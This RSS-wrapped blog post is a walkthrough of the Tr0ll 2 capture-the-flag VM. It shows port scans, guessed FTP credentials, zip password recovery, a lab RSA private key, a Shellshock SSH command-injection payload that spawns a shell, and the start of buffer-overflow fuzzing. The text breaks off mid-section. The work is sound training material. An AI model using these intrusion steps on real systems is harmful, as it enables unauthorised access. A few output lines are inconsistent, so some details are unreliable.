          <title>Tr0ll 2 Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/tr0ll-2-walkthrough/</link>
          <pubDate>Tue, 02 Jan 2024 00:12:52 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/tr0ll-2-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Coffee Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Intermediate&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ssh-shellshock&quot; id=&quot;markdown-toc-ssh-shellshock&quot;&gt;SSH Shellshock&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I rooted Tr0ll 1, so thought it would be rude not to try the second VM in the Tr0ll series… &lt;a href=&quot;https://www.vulnhub.com/entry/tr0ll-2,107/&quot;&gt;Tr0ll 2&lt;/a&gt; requires a buffer overflow to perform local escalation, the first VM didn’t require any exploitation. However, like the first VM I’d say this is challenege is more a case of guessing credentials, trying things you think probably wont work.&lt;/p&gt;

&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;

&lt;p&gt;&lt;i&gt;
The next machine in the Tr0ll series of VMs. This one is a step up in difficulty from the original Tr0ll but the time required to solve is approximately the same, and make no mistake, trolls are still present! :)&lt;/i&gt;
&lt;/p&gt;

&lt;p&gt;&lt;i&gt;
Difficulty is beginner++ to intermediate.
&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;##Enumeration&lt;/p&gt;

&lt;p&gt;Enumeration process started.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/kirk-enumeration.gif&quot; alt=&quot;Star Trek Enumeration&quot; /&gt;&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;nmap -p 1-65535 -sV -sS -A -T4 172.31.31.6&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;nmap -p 1-65535 -sV -sS -A -T4 172.31.31.6&lt;/span&gt;
        &lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-02 19:24 EST&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host is up (0.0026s latency).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Not shown: 65532 closed ports&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;PORT   STATE SERVICE VERSION &lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;21/tcp open  ftp     vsftpd 2.0.8 or later&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;| ssh-hostkey: &lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;22/tcp open  ssh     (protocol 2.0)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;| ssh-hostkey: &lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_http-title: Site doesn&apos;t have a title (text/html).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Device type: general purpose&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Running: Linux 3.X&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;OS CPE: cpe:/o:linux:linux_kernel:3&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;OS details: Linux 3.2 - 3.8&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Network Distance: 2 hops&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;###Service Enumeration&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 21&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;FTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;vsftpd 2.0.8 or later&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.22 ((Ubuntu))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;###SSH Enumeration&lt;/p&gt;

&lt;p&gt;Zoning out watching my Nmap scan complete I noticed, the hostname was Tr0ll. I attempted to login via ssh with &lt;code&gt;Tr0ll&lt;/code&gt; password: &lt;code&gt;Tr0ll&lt;/code&gt;, it worked ! But I instantly got booted off, tried a few things nothing worked… So I tried FTP.&lt;/p&gt;

&lt;p&gt;###FTP Enumeration&lt;/p&gt;

&lt;p&gt;I tired the same credentials against ftp and discovered a file called “noob” in the ftp root.&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;ftp noob&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;ftp 172.31.31.6&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Connected to 172.31.31.6&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;220 Welcome to Tr0ll FTP... Only noobs stay for a while...&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Name (172.31.31.6:root): Tr0ll&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;331 Please specify the password.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Password:&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;230 Login successful.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Remote system type is UNIX.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Using binary mode to transfer files.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;ftp&amp;gt; get lmao.zip&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;local: lol.pcap remote: lol.pcap&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;200 PORT command successful. Consider using PASV.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;150 Opening BINARY mode data connection for lmao.zip (1474 bytes).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;226 Transfer complete.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;1474 bytes received in 0.02 secs (60.6 kB/s)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;ftp&amp;gt; exit&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;221 Goodbye.&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;Attempting to extract lmao.zip failed, prompting for a &lt;code&gt;noob&lt;/code&gt; password.&lt;/p&gt;

&lt;p&gt;Onto the next service then…&lt;/p&gt;

&lt;p&gt;###HTTP Enumeration&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/star-trek-enumeration.gif&quot; alt=&quot;Star Trek HTTP Enumeration&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Web browser showed:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/tr0ll-me-again.PNG&quot; alt=&quot;tr0ll me again&quot; /&gt;&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;nmap --script=http-enum -p80 -n 172.31.31.6&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;nmap --script=http-enum -p80 -n 172.31.31.6&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-2 18:40 GMT&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap scan report for 172.31.31.6&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host is up (0.00046s latency).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;PORT   STATE SERVICE&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;80/tcp open  http&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;| http-enum:&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   /robots.txt: Robots file&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;Entering /robots.txt url in the browser rendered:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;User-agent:&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
Disallow:
/noob
/nope
/try_harder
/keep_trying
/isnt_this_annoying
/nothing_here
/404
/LOL_at_the_last_one
/trolling_is_fun
/zomg_is_this_it
/you_found_me
/I_know_this_sucks
/You_could_give_up
/dont_bother
/will_it_ever_end
/I_hope_you_scripted_this
/ok_this_is_it
/stop_whining
/why_are_you_still_looking
/just_quit
/seriously_stop&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The slash was stripped off with some sed &lt;code&gt;sed &apos;s./..g&apos; robots.txt&lt;/code&gt; dirb was then used to check the following urls.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;-----------------&lt;/span&gt;
DIRB v2.21    
By The Dark Raver
&lt;span class=&quot;nt&quot;&gt;-----------------&lt;/span&gt;

START_TIME: Sat Jan  3 08:08:15 2015
URL_BASE: http://172.31.31.6/
WORDLIST_FILES: robots.txt

&lt;span class=&quot;nt&quot;&gt;-----------------&lt;/span&gt;

GENERATED WORDS: 21                                                            

&lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt; Scanning URL: http://172.31.31.6/ &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;
+ http://172.31.31.6//noob &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:301|SIZE:309&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                               
+ http://172.31.31.6//keep_trying &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:301|SIZE:316&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                        
+ http://172.31.31.6//dont_bother &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:301|SIZE:316&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                        
+ http://172.31.31.6//ok_this_is_it &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:301|SIZE:318&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                      

&lt;span class=&quot;nt&quot;&gt;-----------------&lt;/span&gt;
DOWNLOADED: 21 - FOUND: 4&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;They all rendered the same image (301’d).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/tr0ll-cats.PNG&quot; alt=&quot;tr0ll cats&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nothing exciting was in the page source:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;What did you really think to find here? Try Harder&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;code&gt;cat_the_troll.jpg&lt;/code&gt; was downloaded from all the above locations from the target and examined.&lt;/p&gt;

&lt;p&gt;ls -la showed a slightly different file size for one of the images, I began by running each of the files through cat (cating the cat? - sorry).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Look Deep within y0ur_self &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;the answer&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;I tired this against the previously downloaded &lt;code&gt;lmao.zip&lt;/code&gt; file, no luck. I tried &lt;code&gt;y0ur_self&lt;/code&gt; as web path like on tr0ll:1&lt;/p&gt;

&lt;p&gt;Success, the web dir contained a text file &lt;code&gt;http://172.31.31.6/y0ur_self/answer.txt&lt;/code&gt; scrolling though from the browser it looked like the file was base64 encoded.&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;wget http://172.31.31.6/y0ur_self/answer.txt&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;wget http://172.31.31.6/y0ur_self/answer.txt&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;Decoding the file revealed it was massive, the following was used to decode and sort by line length:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;base64 decoding&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;base64 -d answer.txt &amp;gt; answer-decoded.txt &amp;amp;&amp;amp; awk &apos;{print length, $0;}&apos; answer-decoded.txt | sort -nr | less&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;30 ItCantReallyBeThisEasyRightLOL&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;The top line looked promising, &lt;code&gt;ItCantReallyBeThisEasyRightLOL&lt;/code&gt; I tried this against &lt;code&gt;lmao.zip&lt;/code&gt;&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;unzip lmao.zip&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;unzip lmao.zip&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;Archive:  lmao.zip&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;[lmao.zip] noob password:&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;  inflating: noob &lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;&lt;img src=&quot;/img/data-yes-fist.gif&quot; alt=&quot;Data Yes Fist&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yes!&lt;/p&gt;

&lt;p&gt;The contents of &lt;code&gt;noob&lt;/code&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;-----BEGIN&lt;/span&gt; RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq
yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1
/9zwtJSMely5oCGOujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPo
q+pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5
z+13lsTpA9px6YIbyrPMMFzcOrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy
e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJO0buvQIDAQABAoIBAA8ltlpQWP+yduna
u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIOKtI4NV+gfjW8i0
gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKOJ73CuwbVlq
UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079
La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR
xgl4PyN8O0L+TgBNI/5nnTSQqbjUiu+aOoRCs0856EEpfnGte41AppO99hdPTAKP
aq/r7+UCgYEA17OaQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW
K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtOrNBfPSi7AlTPrRxDPQUxyxx
n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB
TEJvcW1XUT93ZsN+lOo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh
WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJOUfsJBfbwhX1tQv
ibsKq9kucenZOnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUOVUCg6t
0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq
vKoyNZRw+bqjM0XT+2CR8dS1DwO9au14w+xecLq7NeQzUxzId5tHCosZORoQbvoh
ywLymdDOlq3TOZ+CySD4/wUCgYEAr/ybRHhQro7OVnneSjxNp7qRUn9a3bkWLeSG
th8mjrEwf/b/1yai2YEHn+QKUU5dCbOLOjr2We/Dcm6cue98IP4rHdjVlRS3oN9s
G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye
q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sOh8kxwBBGHW4/fC77+NO
vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4Ot/W3IiRlkobhO07p3nj601d+OgTjjgKG
&lt;span class=&quot;nv&quot;&gt;zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-----END&lt;/span&gt; RSA PRIVATE KEY-----&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;ssh-shellshock&quot;&gt;SSH Shellshock&lt;/h3&gt;

&lt;p&gt;Attempting to login using the discovered key failed, with a messaging saying &lt;code&gt;TRY HARDER LOL!&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/vulcan-ragequit.gif&quot; alt=&quot;Vulcan Rage Quit&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I tried to feed it commands by tagging them on the end, the connection hung then dropped with no message.&lt;/p&gt;

&lt;p&gt;I googled some shellshock options and managed to spawn a shell with:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ssh -i noob noob@192.168.145.129 &apos;() { :;}; /bin/bash&apos;&lt;/code&gt;&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;shellshock ssh&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;ssh -i noob noob@192.168.145.129 &apos;() { :;}; /bin/bash&apos;&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;id&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;uid=1002(noob) gid=1002(noob) groups=1002(noob)&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;##Local Enumeration&lt;/p&gt;

&lt;p&gt;Transfered my local enumeration script to the target, disclosing the following odd sticky bit files:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#########################################&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;## Sticky Bit                          ##&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#########################################&lt;/span&gt;

drwsr-xr-x 3 root root 4096 Dec 29 19:00 /nothing_to_see_here
drwsr-xr-x 5 root root 4096 Oct  4 22:36 /nothing_to_see_here/choose_wisely
drwsr-xr-x 2 root root 4096 Oct  5 21:19 /nothing_to_see_here/choose_wisely/door2
drwsr-xr-x 2 root root 4096 Oct  5 21:18 /nothing_to_see_here/choose_wisely/door3
drwsr-xr-x 2 root root 4096 Oct  4 22:19 /nothing_to_see_here/choose_wisely/door1&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Each of the door directories contained a file called r00t, du -sh * in the parent dir &lt;code&gt;choose_wisely&lt;/code&gt; showed one of the files was larger - I started there.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;od -S 1 r00t&lt;/code&gt; was used against each of the files, the larget file contained:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;0017545 bof.c
0017553 __init_array_end
0017574 _DYNAMIC
0017605 __init_array_start
0017630 _GLOBAL_OFFSET_TABLE_
0017656 __libc_csu_fini
0017676 __i686.get_pc_thunk.bx
0017725 data_start
0017740 &lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;@@GLIBC_2.0
0017762 _edata
0017771 _fini
0017777 strcpy@@GLIBC_2.0
0020021 __DTOR_END__
0020036 __data_start
0020053 __gmon_start__
0020072 &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;@@GLIBC_2.0
0020112 __dso_handle
0020127 _IO_stdin_used
0020146 __libc_start_main@@GLIBC_2.0
0020203 __libc_csu_init&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;bof.c - pretty good indication that Buffer Overflow was the next logical step (unless it’s more tr0ling).&lt;/p&gt;

&lt;p&gt;##Exploit Development&lt;/p&gt;

&lt;p&gt;###Fuzzing&lt;/p&gt;

&lt;p&gt;I started by fuzzing with 300 A’s:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;fuzzing linux binary&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
